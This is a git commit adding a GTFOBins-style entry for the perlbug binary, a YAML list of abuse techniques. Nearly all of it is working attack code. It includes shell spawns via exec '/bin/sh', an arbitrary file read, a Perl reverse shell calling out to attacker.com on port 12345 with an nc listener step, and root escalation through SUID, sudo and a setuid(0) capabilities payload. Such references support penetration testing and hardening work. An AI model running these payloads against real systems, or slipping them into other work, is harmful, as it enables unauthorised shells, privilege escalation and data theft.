Add perlbug

This commit is contained in:
巴都万 2022-08-05 23:45:01 +08:00
parent 1999e48052
commit 5d33f3c5c2

21
_gtfobins/perlbug.md Normal file
View File

@ -0,0 +1,21 @@
---
functions:
shell:
- code: perlbug -e 'exec "/bin/sh";'
file-read:
- code: |
LFILE=file_to_read
perlbug -ne print $LFILE
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
perlbug -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
suid:
- code: ./perlbug -e 'exec "/bin/sh";'
sudo:
- code: sudo perlbug -e 'exec "/bin/sh";'
capabilities:
- code: ./perlbug -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
---